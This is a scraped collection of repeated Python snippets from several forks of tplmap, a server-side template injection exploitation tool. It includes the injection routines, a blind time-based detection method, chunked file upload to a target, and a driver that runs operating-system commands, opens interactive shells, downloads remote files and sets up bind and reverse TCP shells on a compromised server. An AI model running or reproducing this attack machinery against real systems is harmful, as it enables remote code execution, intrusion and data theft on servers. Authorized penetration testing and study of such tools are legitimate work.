示例#1
0
文件: plugin.py 项目: n4yk/tplmap
    def execute_blind(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        action = self.actions.get('execute_blind', {})
        payload_action = action.get('execute_blind')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_action or not call_name or not hasattr(
                self, call_name):
            return

        expected_delay = self._get_expected_delay()

        if '%(code_b64)s' in payload_action:
            log.debug('[b64 encoding] %s' % code)
            execution_code = payload_action % (
                {
                    'code_b64': base64.urlsafe_b64encode(code),
                    'delay': expected_delay
                })
        else:
            execution_code = payload_action % ({
                'code': code,
                'delay': expected_delay
            })

        return getattr(self, call_name)(code=execution_code,
                                        prefix=prefix,
                                        suffix=suffix,
                                        blind=True)
示例#2
0
文件: plugin.py 项目: epinna/tplmap
    def execute_blind(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        action = self.actions.get('execute_blind', {})
        payload_action = action.get('execute_blind')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_action or not call_name or not hasattr(self, call_name):
            return

        expected_delay = self._get_expected_delay()

        if '%(code_b64)s' in payload_action:
            log.debug('[b64 encoding] %s' % code)
            execution_code = payload_action % ({
                'code_b64' : base64.urlsafe_b64encode(code),
                'delay' : expected_delay
            })
        else:
            execution_code = payload_action % ({
                'code' : code,
                'delay' : expected_delay
            })

        return getattr(self, call_name)(
            code = execution_code,
            prefix = prefix,
            suffix = suffix,
            blind=True
        )
示例#3
0
文件: channel.py 项目: HMSH00D/tplmap
    def req(self, injection):

        # Inject
        get_params = self.get_params.copy()
        if self.get_placeholders:
            get_placeholder = self.get_placeholders[0]
            get_params[get_placeholder] = injection

        post_params = self.post_params.copy()
        if self.post_placeholders:
            post_placeholder = self.post_placeholders[0]
            post_params[post_placeholder] = injection

        header_params = self.header_params.copy()
        if self.header_placeholders:

            if '\n' in injection:
                log.debug('Skip payload with not compatible character for headers')
            else:
                header_placeholder = self.header_placeholders[0]
                header_params[header_placeholder] = injection

        result = requests.request(
            method = self.http_method,
            url = self.base_url,
            params = get_params,
            data = post_params,
            headers = header_params
            ).text

        log.debug('\n> """%s"""\n< """%s"""' % (injection, result) )

        return result
示例#4
0
文件: plugin.py 项目: wudi/sfish_pt
    def execute(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        action = self.actions.get('execute', {})
        payload = action.get('execute')
        call_name = action.get('call', 'render')

        # Skip if something is missing or call function is not set
        if not action or not payload or not call_name or not hasattr(
                self, call_name):
            return

        if '%(code_b64)s' in payload:
            log.debug('[b64 encoding] %s' % code)
            execution_code = payload % ({
                'code_b64':
                base64.urlsafe_b64encode(code)
            })
        else:
            execution_code = payload % ({'code': code})

        result = getattr(self, call_name)(code=execution_code,
                                          prefix=prefix,
                                          suffix=suffix,
                                          blind=blind)
        return result
示例#5
0
文件: check.py 项目: Warlockk/tplmap
    def inject(self,
               payload,
               header=None,
               header_rand=None,
               trailer=None,
               trailer_rand=None,
               prefix=None,
               suffix=None):

        header_rand = rand.randint_n(3) if header_rand == None else header_rand
        header = self.get('header_tag', '%(header)s') % ({
            'header': header_rand
        }) if header == None else header

        trailer_rand = rand.randint_n(
            3) if trailer_rand == None else trailer_rand
        trailer = self.get('trailer_tag', '%(trailer)s') % ({
            'trailer':
            trailer_rand
        }) if trailer == None else trailer

        prefix = self.get('prefix', '') if prefix == None else prefix
        suffix = self.get('suffix', '') if suffix == None else suffix

        injection = prefix + header + payload + trailer + suffix
        result = self.channel.req(injection)
        log.debug('[request %s]' % (self.plugin))

        # Cut the result using the header and trailer if specified
        if header:
            before, _, result = result.partition(str(header_rand))
        if trailer:
            result, _, after = result.partition(str(trailer_rand))

        return result.strip()
示例#6
0
    def req(self, injection):

        # Inject
        get_params = {}
        if self.get_placeholders:
            get_placeholder = self.get_placeholders[0]
            get_params = self.get_params.copy()
            get_params[get_placeholder] = injection

        post_params = {}
        if self.post_placeholders:
            post_placeholder = self.post_placeholders[0]
            post_params = self.post_params.copy()
            post_params[post_placeholder] = injection

        header_params = {}
        if self.header_placeholders:

            if '\n' in injection:
                log.debug(
                    'Skip payload with not compatible character for headers')
            else:
                header_placeholder = self.header_placeholders[0]
                header_params = self.header_params.copy()
                header_params[header_placeholder] = injection

        result = requests.request(method=self.http_method,
                                  url=self.base_url,
                                  params=get_params,
                                  data=post_params,
                                  headers=header_params).text

        log.debug('\n> """%s"""\n< """%s"""' % (injection, result))

        return result
示例#7
0
文件: plugin.py 项目: epinna/tplmap
    def execute(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        action = self.actions.get('execute', {})
        payload = action.get('execute')
        call_name = action.get('call', 'render')

        # Skip if something is missing or call function is not set
        if not action or not payload or not call_name or not hasattr(self, call_name):
            return

        if '%(code_b64)s' in payload:
            log.debug('[b64 encoding] %s' % code)
            execution_code = payload % ({ 'code_b64' : base64.urlsafe_b64encode(code) })
        else:
            execution_code = payload % ({ 'code' : code })

        result = getattr(self, call_name)(
            code = execution_code,
            prefix = prefix,
            suffix = suffix,
            blind = blind
        )
        return result
示例#8
0
文件: plugin.py 项目: zteeed/tplmap
    def inject(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        injection = prefix + code + suffix

        if self.channel.args.get('verbose'):
            log.info('\n\033[93m[+] {}\033[00m\n'.format(injection))

        log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url)))

        # If the request is blind
        if blind:

            expected_delay = self._get_expected_delay()

            start = int(time.time())

            self.channel.req(injection)

            end = int(time.time())
            delta = end - start

            result = delta >= expected_delay

            log.debug(
                '[blind %s] code above took %s (%s-%s). %s is the threshold, returning %s'
                % (self.plugin, str(delta), str(end), str(start),
                   str(expected_delay), str(result)))

            self._inject_verbose = {
                'result': result,
                'payload': injection,
                'expected_delay': expected_delay,
                'start': start,
                'end': end,
            }

            return result

        else:
            start = int(time.time())
            result = self.channel.req(injection)
            end = int(time.time())

            # Append the execution time to a buffer
            delta = end - start
            self.render_req_tm.append(delta)

            return result.strip() if result else result
示例#9
0
    def inject(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        injection = prefix + code + suffix
        log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url)))

        # If the request is blind
        if blind:

            expected_delay = self._get_expected_delay()

            start = datetime.datetime.now()

            self.channel.req(injection)

            end = datetime.datetime.now()
            delta = end - start

            result = delta.seconds >= expected_delay

            log.debug(
                '[blind %s] code above took %s. %s is the threshold, returning %s'
                % (self.plugin, str(
                    delta.seconds), str(expected_delay), str(result)))

            self._inject_verbose = {
                'result': result,
                'payload': injection,
                'expected_delay': expected_delay,
                'start': start,
                'end': end,
            }

            return result

        else:
            start = datetime.datetime.now()
            result = self.channel.req(injection)
            end = datetime.datetime.now()

            # Append the execution time to a buffer
            delta = end - start
            self.render_req_tm.append(delta.seconds)

            return result.strip() if result else result
示例#10
0
文件: plugin.py 项目: zteeed/tplmap
    def write(self, data, remote_path):

        action = self.actions.get('write', {})
        payload_write = action.get('write')
        payload_truncate = action.get('truncate')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_write or not payload_truncate or not call_name or not hasattr(
                self, call_name):
            return

        # Check existance and overwrite with --force-overwrite
        if self.get('blind') or self.md5(remote_path):
            if not self.channel.args.get('force_overwrite'):
                if self.get('blind'):
                    log.warn(
                        'Blind upload might overwrite files, run with --force-overwrite to continue'
                    )
                else:
                    log.warn(
                        'Remote file already exists, run with --force-overwrite to overwrite'
                    )
                return
            else:
                execution_code = payload_truncate % ({'path': remote_path})
                getattr(self, call_name)(code=execution_code)

        # Upload file in chunks of 500 characters
        for chunk in chunkit(data, 500):

            log.debug('[b64 encoding] %s' % chunk)
            chunk_b64 = base64.urlsafe_b64encode(chunk)

            execution_code = payload_write % ({
                'path': remote_path,
                'chunk_b64': chunk_b64
            })
            getattr(self, call_name)(code=execution_code)

        if self.get('blind'):
            log.warn(
                'Blind upload can\'t check the upload correctness, check manually'
            )
        elif not md5(data) == self.md5(remote_path):
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.warn('File uploaded correctly')
示例#11
0
文件: plugin.py 项目: epinna/tplmap
    def inject(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        injection = prefix + code + suffix
        log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url)))

        # If the request is blind
        if blind:

            expected_delay = self._get_expected_delay()

            start = int(time.time())

            self.channel.req(injection)

            end = int(time.time())
            delta = end - start

            result = delta >= expected_delay

            log.debug('[blind %s] code above took %s (%s-%s). %s is the threshold, returning %s' % (self.plugin, str(delta), str(end), str(start), str(expected_delay), str(result)))

            self._inject_verbose = {
                'result': result,
                'payload': injection,
                'expected_delay': expected_delay,
                'start': start,
                'end': end,
            }

            return result

        else:
            start = int(time.time())
            result = self.channel.req(injection)
            end = int(time.time())

            # Append the execution time to a buffer
            delta = end - start
            self.render_req_tm.append(delta)

            return result.strip() if result else result
示例#12
0
    def _detect_unreliable_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.debug('%s plugin is testing unreliable rendering on text context' %
                  (self.plugin))

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA * randB)
        payload = render_action.get('render') % ({
            'code':
            '%s*%s' % (randA, randB)
        })

        # Probe with payload wrapped by header and trailer, no suffex or prefix.
        # Test if contained, since the page contains other garbage
        if expected in self.render(code=payload,
                                   header='',
                                   trailer='',
                                   header_rand=None,
                                   trailer_rand=None,
                                   prefix='',
                                   suffix=''):

            # Print if the first found unreliable renode
            if not self.get('unreliable_render'):
                log.info(
                    '%s plugin has detected unreliable rendering with tag %s, skipping'
                    % (self.plugin,
                       repr(render_action.get('render') % ({
                           'code': '*'
                       }))))

            self.set('unreliable_render', render_action.get('render'))
            self.set('unreliable', self.plugin)

            return
示例#13
0
文件: plugin.py 项目: epinna/tplmap
    def write(self, data, remote_path):

        action = self.actions.get('write', {})
        payload_write = action.get('write')
        payload_truncate = action.get('truncate')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_write or not payload_truncate or not call_name or not hasattr(self, call_name):
            return

        # Check existance and overwrite with --force-overwrite
        if self.get('blind') or self.md5(remote_path):
            if not self.channel.args.get('force_overwrite'):
                if self.get('blind'):
                    log.warn('Blind upload might overwrite files, run with --force-overwrite to continue')
                else:
                    log.warn('Remote file already exists, run with --force-overwrite to overwrite')
                return
            else:
                execution_code = payload_truncate % ({ 'path' : remote_path })
                getattr(self, call_name)(
                    code = execution_code
                )

        # Upload file in chunks of 500 characters
        for chunk in chunkit(data, 500):

            log.debug('[b64 encoding] %s' % chunk)
            chunk_b64 = base64.urlsafe_b64encode(chunk)

            execution_code = payload_write % ({ 'path' : remote_path, 'chunk_b64' : chunk_b64 })
            getattr(self, call_name)(
                code = execution_code
            )

        if self.get('blind'):
            log.warn('Blind upload can\'t check the upload correctness, check manually')
        elif not md5(data) == self.md5(remote_path):
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.warn('File uploaded correctly')
示例#14
0
文件: channel.py 项目: henshin/tplmap
    def req(self, injection):

        # Inject
        get_params = self.get_params.copy()
        if self.get_placeholders:
            get_placeholder = self.get_placeholders[0]
            get_params[get_placeholder] = injection

        post_params = self.post_params.copy()
        if self.post_placeholders:
            post_placeholder = self.post_placeholders[0]
            post_params[post_placeholder] = injection

        header_params = self.header_params.copy()
        if self.header_placeholders:

            if '\n' in injection:
                log.debug('Skip payload with not compatible character for headers')
            else:
                header_placeholder = self.header_placeholders[0]
                header_params[header_placeholder] = injection
        proxyDict=None
        if(self.http_proxy or self.https_proxy):
            proxyDict = { 
                "http"  : self.http_proxy,
                "https" : self.https_proxy,
            }
        result = requests.request(
            method = self.http_method,
            url = self.base_url,
            params = get_params,
            data = post_params,
            headers = header_params,
            proxies=proxyDict,
            verify=False,
            ).text

        log.debug('\n> """%s"""\n< """%s"""' % (injection, result) )

        return result
示例#15
0
文件: plugin.py 项目: CaineQT/tplmap
    def _detect_unreliable_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.debug('%s plugin is testing unreliable rendering on text context' % (
                self.plugin
            )
        )

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA*randB)
        payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) })

        # Probe with payload wrapped by header and trailer, no suffex or prefix
        if expected == self.render(
                code = payload,
                header = '',
                trailer = '',
                header_rand = None,
                trailer_rand = None,
                prefix = '',
                suffix = ''
            ):

            self.set('render', render_action.get('render'))

            # Print if the first found unreliable renode
            if not self.get('unreliable'):
                log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % (
                    self.plugin,
                    repr(self.get('render') % ({'code' : '*' })))
                )

            self.set('unreliable', self.plugin)
            return
示例#16
0
文件: check.py 项目: 5up3rc/tplmap
    def inject(self, payload, header = None, header_rand = None, trailer = None, trailer_rand = None, prefix = None, suffix = None):

        header_rand = rand.randint_n(3) if header_rand == None else header_rand
        header = self.get('header_tag', '%(header)s') % ({ 'header' : header_rand }) if header == None else header

        trailer_rand = rand.randint_n(3) if trailer_rand == None else trailer_rand
        trailer = self.get('trailer_tag', '%(trailer)s') % ({ 'trailer' : trailer_rand }) if trailer == None else trailer

        prefix = self.get('prefix', '') if prefix == None else prefix
        suffix = self.get('suffix', '') if suffix == None else suffix

        injection = prefix + header + payload + trailer + suffix
        result = self.channel.req(injection)
        log.debug('[request %s]\n  > %s\n  < %s' % (self.plugin, injection.replace('\n', '\n  > '), result.replace('\n', '  \n  < ')) )

        # Cut the result using the header and trailer if specified
        if header:
            before,_,result = result.partition(str(header_rand))
        if trailer:
            result,_,after = result.partition(str(trailer_rand))

        return result.strip()
示例#17
0
文件: plugin.py 项目: epinna/tplmap
    def _detect_unreliable_render(self):

        render_action = self.actions.get('render')
        if not render_action:
            return

        # Print what it's going to be tested
        log.debug('%s plugin is testing unreliable rendering on text context' % (
                self.plugin
            )
        )

        # Prepare base operation to be evalued server-side
        expected = render_action.get('test_render_expected')
        payload = render_action.get('test_render')

        # Probe with payload wrapped by header and trailer, no suffex or prefix.
        # Test if contained, since the page contains other garbage
        if expected in self.render(
                code = payload,
                header = '',
                trailer = '',
                header_rand = 0,
                trailer_rand = 0,
                prefix = '',
                suffix = ''
            ):

            # Print if the first found unreliable renode
            if not self.get('unreliable_render'):
                log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % (
                    self.plugin,
                    repr(render_action.get('render') % ({'code' : '*' })))
                )

            self.set('unreliable_render', render_action.get('render'))
            self.set('unreliable', self.plugin)

            return
示例#18
0
文件: plugin.py 项目: CaineQT/tplmap
    def inject(self, code, **kwargs):

        prefix = kwargs.get('prefix', self.get('prefix', ''))
        suffix = kwargs.get('suffix', self.get('suffix', ''))
        blind = kwargs.get('blind', False)

        injection = prefix + code + suffix
        log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url)))

        # If the request is blind
        if blind:

            expected_delay = self._get_expected_delay()

            start = datetime.datetime.now()

            self.channel.req(injection)

            end = datetime.datetime.now()
            delta = end - start

            result = delta.seconds >= expected_delay

            log.debug('[blind %s] code above took %s. %s was requested' % (self.plugin, str(delta.seconds), str(expected_delay)))

            return result

        else:
            start = datetime.datetime.now()
            result = self.channel.req(injection)
            end = datetime.datetime.now()

            # Append the execution time to a buffer
            delta = end - start
            self.render_req_tm.append(delta.seconds)

            return result.strip() if result else result
示例#19
0
    def inject(self, payload, header = None, header_rand = None, trailer = None, trailer_rand = None, prefix = None, suffix = None):

        header_rand = rand.randint_n(10) if header_rand == None else header_rand
        header = self.get('header_fmt', '%(header)s') % ({ 'header' : header_rand }) if header == None else header

        trailer_rand = rand.randint_n(10) if trailer_rand == None else trailer_rand
        trailer = self.get('trailer_fmt', '%(trailer)s') % ({ 'trailer' : trailer_rand }) if trailer == None else trailer

        prefix = self.get('prefix', '') if prefix == None else prefix
        suffix = self.get('suffix', '') if suffix == None else suffix

        injection = prefix + header + payload + trailer + suffix
        log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url)))

        result_raw = self.channel.req(injection)
        result = None

        # Cut the result using the header and trailer if specified
        if header:
            before,_,result_after = result_raw.partition(str(header_rand))
        if trailer and result_after:
            result,_,after = result_after.partition(str(trailer_rand))

        return result.strip() if result else result
示例#20
0
文件: checks.py 项目: m-starke/tplmap
def check_template_injection(channel):

    current_plugin = detect_template_injection(channel)

    # Kill execution if no engine have been found
    if not channel.data.get('engine'):
        log.fatal("""Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""")
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(
            f for f,v in channel.args.items() if f in (
                'os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell'
            ) and v
        ):

        log.info(
            """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % (
                {
                 'execute': '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '',
                 'execute_blind': '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '',
                 'bind_shell': '\n    --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '',
                 'reverse_shell': '\n    --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '',
                 'write': '\n    --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '',
                 'read': '\n    --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '',                 }
            )
        )

        return


    # Execute operating system commands
    if channel.args.get('os_cmd') or channel.args.get('os_shell'):

        # Check the status of command execution capabilities
        if channel.data.get('execute_blind'):
            log.info("""Blind injection has been found and command execution will not produce any output.""")
            log.info("""Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""")

            if channel.args.get('os_cmd'):
                print current_plugin.execute_blind(channel.args.get('os_cmd'))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')
                Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop()

        elif channel.data.get('execute'):
            if channel.args.get('os_cmd'):
                print current_plugin.execute(channel.args.get('os_cmd'))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')

                Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop()

        else:
            log.error('No system command execution capabilities have been detected on the target.')


    # Execute template commands
    if channel.args.get('tpl_code') or channel.args.get('tpl_shell'):

        if channel.data.get('engine'):

            if channel.data.get('blind'):
                log.info("""Only blind execution has been found. Injected template code will not produce any output.""")
                call = current_plugin.inject
            else:
                call = current_plugin.render

            if channel.args.get('tpl_code'):
                print call(channel.args.get('tpl_code'))
            elif channel.args.get('tpl_shell'):
                log.info('Inject multi-line template code. Press ctrl-D to send the lines')
                MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop()

        else:
                log.error('No code evaluation capabilities have been detected on the target')


    # Perform file upload
    local_remote_paths = channel.args.get('upload')
    if local_remote_paths:

        if channel.data.get('write'):

            local_path, remote_path = local_remote_paths

            with open(local_path, 'rb') as f:
                data = f.read()

            current_plugin.write(data, remote_path)

        else:
                log.error('No file upload capabilities have been detected on the target')

    # Perform file read
    remote_local_paths = channel.args.get('download')
    if remote_local_paths:

        if channel.data.get('read'):

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, 'wb') as f:
                f.write(content)

        else:

            log.error('No file download capabilities have been detected on the target')

    # Connect to tcp shell
    bind_shell_port = channel.args.get('bind_shell')
    if bind_shell_port:

        if channel.data.get('bind_shell'):

            urlparsed = urlparse.urlparse(channel.base_url)
            if not urlparsed.hostname:
                log.error("Error parsing hostname")
                return

            for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)):

                log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx+1))

                thread.join(timeout=1)

                if not thread.isAlive():
                    continue

                try:

                    telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout = 5).interact()

                    # If telnetlib does not rise an exception, we can assume that
                    # ended correctly and return from `run()`
                    return
                except Exception as e:
                    log.debug(
                        "Error connecting to %s:%i %s" % (
                            urlparsed.hostname,
                            bind_shell_port,
                            e
                        )
                    )

        else:

            log.error('No TCP shell opening capabilities have been detected on the target')

    # Accept reverse tcp connections
    reverse_shell_host_port = channel.args.get('reverse_shell')
    if reverse_shell_host_port:
        host, port = reverse_shell_host_port
        timeout = 5

        if channel.data.get('reverse_shell'):

            current_plugin.reverse_shell(host, port)

            # Run tcp server
            try:
                tcpserver = TcpServer(int(port), timeout)
            except socket.timeout as e:
                    log.error("No incoming TCP shells after %is, quitting." % (timeout))


        else:

            log.error('No reverse TCP shell capabilities have been detected on the target')
示例#21
0
def check_template_injection(channel):

    current_plugin = detect_template_injection(channel)

    # Kill execution if no engine have been found
    if not channel.data.get('engine'):
        log.fatal("""Tested parameters appear to be not injectable.""")
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(
            f for f, v in channel.args.items()
            if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell',
                     'tpl_code', 'bind_shell', 'reverse_shell') and v):

        log.info(
            """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s"""
            % ({
                'execute':
                '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\t\tExecute shell commands'
                if channel.data.get('execute')
                and not channel.data.get('execute_blind') else '',
                'execute_blind':
                '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\tExecute shell commands'
                if channel.data.get('execute_blind') else '',
                'bind_shell':
                '\n    --bind-shell PORT\t\t\tConnect to a shell bind to a target port'
                if channel.data.get('bind_shell') else '',
                'reverse_shell':
                '\n    --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port'
                if channel.data.get('reverse_shell') else '',
                'write':
                '\n    --upload LOCAL REMOTE\tUpload files to the server'
                if channel.data.get('write') else '',
                'read':
                '\n    --download REMOTE LOCAL\tDownload remote files'
                if channel.data.get('read') else '',
            }))

        return

    # Execute operating system commands
    if channel.args.get('os_cmd') or channel.args.get('os_shell'):

        # Check the status of command execution capabilities
        if channel.data.get('execute_blind'):
            log.info(
                """Blind injection has been found and command execution will not produce any output."""
            )
            log.info(
                """Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not."""
            )

            if channel.args.get('os_cmd'):
                print(current_plugin.execute_blind(channel.args.get('os_cmd')))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')
                Shell(current_plugin.execute_blind, '%s (blind) $ ' %
                      (channel.data.get('os', ''))).cmdloop()

        elif channel.data.get('execute'):
            if channel.args.get('os_cmd'):
                print(current_plugin.execute(channel.args.get('os_cmd')))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')

                Shell(current_plugin.execute,
                      '%s $ ' % (channel.data.get('os', ''))).cmdloop()

        else:
            log.error(
                'No system command execution capabilities have been detected on the target.'
            )

    # Execute template commands
    if channel.args.get('tpl_code') or channel.args.get('tpl_shell'):

        if channel.data.get('engine'):

            if channel.data.get('blind'):
                log.info(
                    """Only blind execution has been found. Injected template code will not produce any output."""
                )
                call = current_plugin.inject
            else:
                call = current_plugin.render

            if channel.args.get('tpl_code'):
                print(call(channel.args.get('tpl_code')))
            elif channel.args.get('tpl_shell'):
                log.info(
                    'Inject multi-line template code. Press ctrl-D to send the lines'
                )
                MultilineShell(call, '%s > ' %
                               (channel.data.get('engine', ''))).cmdloop()

        else:
            log.error(
                'No code evaluation capabilities have been detected on the target'
            )

    # Perform file upload
    local_remote_paths = channel.args.get('upload')
    if local_remote_paths:

        if channel.data.get('write'):

            local_path, remote_path = local_remote_paths

            with open(local_path, 'rb') as f:
                data = f.read()

            current_plugin.write(data, remote_path)

        else:
            log.error(
                'No file upload capabilities have been detected on the target')

    # Perform file read
    remote_local_paths = channel.args.get('download')
    if remote_local_paths:

        if channel.data.get('read'):

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, 'wb') as f:
                f.write(content)

        else:

            log.error(
                'No file download capabilities have been detected on the target'
            )

    # Connect to tcp shell
    bind_shell_port = channel.args.get('bind_shell')
    if bind_shell_port:

        if channel.data.get('bind_shell'):

            urlparsed = urlparse.urlparse(channel.base_url)
            if not urlparsed.hostname:
                log.error("Error parsing hostname")
                return

            for idx, thread in enumerate(
                    current_plugin.bind_shell(bind_shell_port)):

                log.info('Spawn a shell on remote port %i with payload %i' %
                         (bind_shell_port, idx + 1))

                thread.join(timeout=1)

                if not thread.isAlive():
                    continue

                try:

                    telnetlib.Telnet(urlparsed.hostname,
                                     bind_shell_port,
                                     timeout=5).interact()

                    # If telnetlib does not rise an exception, we can assume that
                    # ended correctly and return from `run()`
                    return
                except Exception as e:
                    log.debug("Error connecting to %s:%i %s" %
                              (urlparsed.hostname, bind_shell_port, e))

        else:

            log.error(
                'No TCP shell opening capabilities have been detected on the target'
            )

    # Accept reverse tcp connections
    reverse_shell_host_port = channel.args.get('reverse_shell')
    if reverse_shell_host_port:
        host, port = reverse_shell_host_port
        timeout = 15

        if channel.data.get('reverse_shell'):

            current_plugin.reverse_shell(host, port)

            # Run tcp server
            try:
                tcpserver = TcpServer(int(port), timeout)
            except socket.timeout as e:
                log.error("No incoming TCP shells after %is, quitting." %
                          (timeout))

        else:

            log.error(
                'No reverse TCP shell capabilities have been detected on the target'
            )
示例#22
0
    def req(self, injection):

        get_params = deepcopy(self.get_params)
        post_params = deepcopy(self.post_params)
        header_params = deepcopy(self.header_params)

        # Pick current injection by index
        inj = deepcopy(self.injs[self.inj_idx])

        if inj['field'] == 'POST':

            if inj.get('part') == 'param':
                # Inject injection within param
                old_value = post_params[inj.get('param')]
                del post_params[inj.get('param')]

                new_param = inj.get('param').replace(self.tag, injection)
                post_params[new_param] = old_value

            if inj.get('part') == 'value':
                # If injection in value, replace value by index
                post_params[inj.get('param')][inj.get('idx')] = post_params[
                    inj.get('param')][inj.get('idx')].replace(
                        self.tag, injection)

        elif inj['field'] == 'GET':

            if inj.get('part') == 'param':
                # If injection replaces param, save the value
                # with a new param
                old_value = get_params[inj.get('param')]
                del get_params[inj.get('param')]

                new_param = inj.get('param').replace(self.tag, injection)
                get_params[new_param] = old_value

            if inj.get('part') == 'value':
                # If injection in value, inject value in the correct index
                get_params[inj.get('param')][inj.get('idx')] = get_params[
                    inj.get('param')][inj.get('idx')].replace(
                        self.tag, injection)

        elif inj['field'] == 'Header':

            if inj.get('part') == 'param':
                # If injection replaces param, save the value
                # with a new param
                old_value = get_params[inj.get('param')]
                del header_params[inj.get('param')]

                new_param = inj.get('param').replace(self.tag, injection)
                header_params[new_param] = old_value

            if inj.get('part') == 'value':
                # If injection in value, replace value by index
                header_params[inj.get('param')] = header_params[inj.get(
                    'param')].replace(self.tag, injection)

        result = requests.request(
            method=self.http_method,
            url=self.base_url,
            params=get_params,
            data=post_params,
            headers=header_params,
            # By default, SSL check is skipped.
            # TODO: add a -k curl-like option to set this.
            verify=False).text

        log.debug('\n> """%s"""\n< """%s"""' % (injection, result))

        return result
示例#23
0
from core import checks
from core.channel import Channel
from utils.loggers import log
import traceback

version = '0.3'

def main():
    
    args = vars(cliparser.options)
    
    if not args.get('url'):
        cliparser.parser.error('URL is required. Run with -h for help.')
        
    # Add version
    args['version'] = version
    
    checks.check_template_injection(Channel(args))
    
if __name__ == '__main__':

    log.info(cliparser.banner % version)
    
    try:
        main()
    except (KeyboardInterrupt):
        log.info('Exiting.')
    except Exception as e:
        log.critical('Exiting: %s' % e)
        log.debug(traceback.format_exc())
示例#24
0
文件: check.py 项目: 5up3rc/tplmap
    def _detect_context(self):

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA*randB)

        # Prepare first detection payload and header
        payload = self.render_tag % ({ 'payload': '%s*%s' % (randA, randB) })
        header_rand = rand.randint_n(3)
        header = self.header_tag % ({ 'header' : header_rand })
        trailer_rand = rand.randint_n(3)
        trailer = self.trailer_tag % ({ 'trailer' : trailer_rand })

        log.debug('%s: Trying to inject in text context' % self.plugin)

        # First probe with payload wrapped by header and trailer, no suffex or prefix
        if expected == self.inject(
                payload = payload,
                header = header,
                trailer = trailer,
                header_rand = header_rand,
                trailer_rand = trailer_rand,
                prefix = '',
                suffix = ''
            ):
            self.set('render_tag', self.render_tag)
            self.set('header_tag', self.header_tag)
            self.set('trailer_tag', self.trailer_tag)
            return

